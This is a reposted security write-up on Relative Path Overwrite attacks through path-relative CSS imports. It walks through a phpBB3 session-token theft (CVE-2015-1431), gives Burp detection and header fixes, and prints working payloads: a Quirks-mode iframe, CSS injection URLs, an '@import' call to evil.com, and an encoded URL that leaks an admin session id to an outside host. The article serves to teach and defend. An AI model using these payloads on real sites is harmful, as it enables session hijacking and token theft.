Security Report: Stop using relative path to import CSS files

转载

Detecting and exploiting path-relative stylesheet import (PRSSI) vulnerabilities

Early last year Gareth Heyes unveiled a fascinating new technique for attacking web applications by exploiting path-relative stylesheet imports, and dubbed it ' Relative Path Overwrite'. This attack tricks browsers into importing HTML pages as stylesheets by abusing the path handling features of many common web languages and frameworks. Thanks to extremely tolerant stylesheet parsing, this can frequently be used to inject malicious CSS and hijack user accounts.

This technique is currently quite esoteric, so it's often effective against sites that have already been subjected to professional or crowdsourced audits. However, successfully exploiting it in a real world environment involves navigating an array of arcane browser internals that often aren't otherwise highly relevant to pentesters. This post aims to help out by walking through the process of identifying and exploiting this issue, using a real vulnerability in the popular bulletin board software phpBB3 as a worked example.

The fundamentals

Webpages can use path-relative links to load content from nearby folders. For example, say a browser loads

http://example.com/phpBB3/viewforum.php?f=2

and this page uses the following statement to import an external stylesheet:

<link href=" styles/prosilver/theme/print.css" rel="stylesheet" type="text/css"/>

The absence of a leading / indicates that the browser should interpret it relative to the current page's folder. The web browser will calculate this folder (/phpBB3/) from the current URL, and grab the stylesheet from:

http://example.com/phpBB3/styles/prosilver/theme/print.css

So far so good. However, thanks to a feature of PHP (and .NET, JSP and many frameworks *), the same original page can be accessed by browsing to:

http://example.com/phpBB3/viewforum.php/anything/here?f=2

Parsing URLs is tricky, and web browsers are oblivious to this feature so they will misinterpret this URL as referring to a file called 'here' in the '/phpBB3/viewforum.php/anything/' folder and attempt to import the following page as a stylesheet:

http://example.com/phpBB3/viewforum.php/anything/styles/
prosilver/theme/print.css

The server will view this as a second request to /phpBB3/viewforum.php, and serve an HTML response.

Exploiting Quirks

What happens when a browser tries to load an HTML page as a stylesheet? It depends on whether the importing page was rendered in 'Quirks mode'. Quirks mode was designed to gracefully handle the poorly coded websites common in the early days of the web. If Quirks mode is active, the browser will happily ignore the 'Content-Type: text/html' header and parse the document looking for any CSS to execute. If not, the browser will refuse to parse it, and display a helpful message in the developer tools:

Or:

SEC7113: CSS was ignored due to mime type mismatch

This means that to create a working exploit we need the page to be rendered in Quirks mode. Quirks mode is triggered automatically when a HTML page fails to set a doctype, or uses an old one like:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

See the table near the bottom of https://hsivonen.fi/doctype/ for a fairly comprehensive list of which doctypes trigger this behaviour.

Fortunately for us, there is a way to trigger Quirks mode even when the page uses a modern doctype. Internet Explorer allows document modes to be inherited through iframes, so we can force any page to be loaded in Quirks mode by framing it*. phpBB3 doesn't use any effective anti-framing measures, so we can proceed using this attack route. The following HTML uses a meta tag to ensure Quirks mode is activated, then loads the target page:

<html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"></head><body><iframe src=
http://example.com/phpBB3/viewforum.php/foo/bar

We can confirm that this has worked by noting that although the CSS is still broken, the 'CSS was ignored due to mime type mismatch' messages have disappeared. In certain rare situations an oblivious server may detect that the filename ends in '.css' and set 'Content-Type: text/css' automatically, removing the need for Quirks mode.

Injecting CSS

Now that we have got the browser to import a HTML page as a stylesheet, we just need a way to get our malicious CSS into position. Since CSS parsers are so tolerant, it doesn't really matter where in the HTML tree the payload lands. All we need to do is inject the following minimal payload:

%0A{}*{color:red;}

The leading %0A{} is necessary to get the CSS parser into the correct state to handle the *{ selector, and the %0A can be omitted if you aren't inside a quoted string.

Depending on what the page displays, the payload could originate from a classic persistent input, or the user's session, referrer, path or cookie. Our target page reflects the path, so we'll use that:

http://example.com/phpBB3/search.php/%0A{}*{color:red;}///

which returns:

<link rel="alternate" type="application/atom+xml" title="Feed - yourdomain.com" href="http://example.com/phpBB3/search.php/
{}*{color:red;}//styles/prosilver/theme/feed.php" />

If we place this URL in the iframe we prepared earlier, we can see the injected CSS taking effect:

Malicious CSS

To load an external stylesheet of arbitrary length, just replace the *{color: red;} payload with @import url(//evil.com). Being able to execute arbitrary CSS on someone else's domain opens the door to all kinds of carnage:

- Executing arbitrary JavaScript using IE's expression() function. This outright won't work if the page sets a modern doctype, even if Quirks mode is enabled. It also doesn't work in IE11.
- Extracting page source and stealing CSRF tokens using CSS selectors. This attack is demonstrated by sirdarckcat at http://eaea.sirdarckcat.net/cssar/v2/, and can be adapted to work on hidden inputs.
- Extract page source at high speed by using http://html5sec.org/webkit/test. Seehttp://www.syssec.rub.de/media/emma/veroeffentlichungen/2012/08/16/scriptlessAttacks-ccs2012.pdf and http://channel9.msdn.com/Events/Blue-Hat-Security-Briefings/BlueHat-Security-Briefings-Fall-2012-Sessions/BH1203 for further details.
- Extracting the page's URL using http://html5sec.org/cssession
- If the stars are aligned, and you have two injection points on the same line with some sensitive information between, you might be able to extract it in a single request withhttp://scarybeastsecurity.blogspot.co.uk/2009/12/generic-cross-browser-

cross-domain.html (The technique described there no longer works cross-domain, but still works same-domain).

- If the application appends sensitive information to the stylesheet URL, exfiltrate it to an external domain by using @import and watching the Referer header

In some situations Internet Explorer refuses to send cookies to iframed sites due to P3P. This limits attacks to unauthenticated content grabbing, such as scraping passwords from internal corporate wikis. Fortunately for us, this problem doesn't affect intranet sites or sites with a solid P3P policy, and P3P is not even implemented in Windows 10 - see A Quick Look at P3P for more information.

The last approach might sound quite implausible, but that's exactly what phpBB3 does. Whenever a logged in user visits

http://example.com/phpBB3/adm/index.php

the server redirects them to

http://example.com/phpBB3/adm/index.php?sid=6a37bda1ee5b560e1e70395cfb8b11d8

where 'sid' is their session key, fresh out their cookie. This key is then appended to a path relative stylesheet imports:

<link href="./../style.php?id=1&lang=en&sid=6a37bda1ee5b560e1e70395cfb8b11d8" rel="stylesheet" type="text/css"

We can abuse this by constructing a payload which discloses the entire session token in a single request, via the HTTP referrer header. The source for this attack is:

<html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"></head><body><iframe width="90%" height="90%" src="http://192.168.181.149/phpBB3/adm/index.php/%250C%257B%257D%250C%40import%2509%2527/portswigger.net/css/ps.css%2527%253b%250C/a/b/c/d/e/f"></iframe>

The attack URL is a bit messy because I had to double-URL encode it to get through the initial redirect. Also, the redirect encoded and filtered spaces and newlines, so I replaced them with tab and 'form feed' characters instead respectively, courtesy of http://html5sec.org/#45.

It triggers the following sequence of events when loaded in Internet Explorer by a user logged in to phpBB:

- The meta statement triggers Quirks mode.
- The site loads the following URL in an iframe:http://192.168.181.149/phpBB3/adm/index.php/%250C%257B%257D%250C%40import%2509%2527/portswigger.net/css/ps.css%2527%253b%250C/a/b/c/d/e/f
- This results in a redirect to:http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import%09%27///portswigger.net/css/ps.css%27%3b%0C/a/b/c/d/index.php?sid=6a37bda1ee5b560e1e70395cfb8b11d8
- The users' browser renders this page and tries to load the following HTML page as a stylesheet:http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import%09%27///portswigger.net/css/ps.css%27%3b%0C/a/b/c/style.php?id=1&lang=en&sid=6a37bda1ee5b560e1e70395cfb8b11d8
- When processing this page, the CSS parser reaches and executes the following statement injected via the URL: @import '//portswigger.net/css/ps.css'

This makes the browser leak the session id by trying to fetch http://portswigger.net/css/ps.css with the following referer header:

http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import%09%27///portswigger.net/css/ps.css%27%3b%0C/a/b/c/d/index.php?sid=6a37bda1ee5b560e1e70395cfb8b11d8

Request triggered by phpBB3 to http://portswigger.net

Obtaining the sid token grants us access to the target's session, but for one final catch. phpBB3 associates session tokens with IP addresses by default, so in a remote attack scenario you'd need to proxy through the victim's browser using DNS rebinding, an attack that's possible in all major browsers but sadly beyond the scope of this writeup.

Automatic detection

Hopefully this post has enough detail for you to find this vulnerability using nothing but coffee and a web browser. However, if you're looking for something a bit more scalable, Burp Suite's passive scanner automatically recognises and reports pages containing path-relative stylesheet imports that may be susceptible to content-sniffing. Launching an active scan will follow up on this and verify that the server has the path-handling features necessary to trigger a misguided import:

The final step of injecting CSS is (currently) left as an exercise for the user.

Securing applications

The example vulnerability in phpBB3 was classified as CVE-2015-1431, and fixed in version 3.0.13.

The root problem can be resolved by not using path-relative links on systems with flexible path-handling. Finally, the vulnerability can be mitigated using the following best practise steps, which may look awfully familiar:

- Set the server header X-Frame-Options: deny on all pages
- Set the server header X-Content-Type-Options: nosniff on all pages
- Set a modern doctype (eg: <!doctype html>) on all pages

Conclusions

Avoiding this vulnerability is easy enough, but I think the way it arose in the first place is an excellent example of tolerance and flexibility conflicting with security. This issue simply wouldn't exist without garbage-happy CSS parsing, browsers bending rules and content-sniffing to render noncompliant web pages, or web frameworks redefining URL components as a pseudo query-string.

Further Research

After this post was published, some other people did some excellent followup research:

- Non-Root-Relative Path Overwrite (RPO) in IIS and .Net applications
- A few RPO exploitation techniques
- CSS: Cascading Style Scripting
- Abusing unicode-range of @font-face
- RPO Gadgets

* The syntax to attack JSP applications is slightly different: http://example.com/index.jsp;anything/here

Summary

You can use the html:rewrite taglib way import the CSS is as follow:

<link href="<html:rewrite page='bootstrap-datetimepicker.min.css'/>" rel="stylesheet" media="screen">

Instead of

<link href="../bootstrap-datetimepicker.min.css" rel="stylesheet" media="screen">

转载于:https://www.cnblogs.com/uu5666/p/7268901.html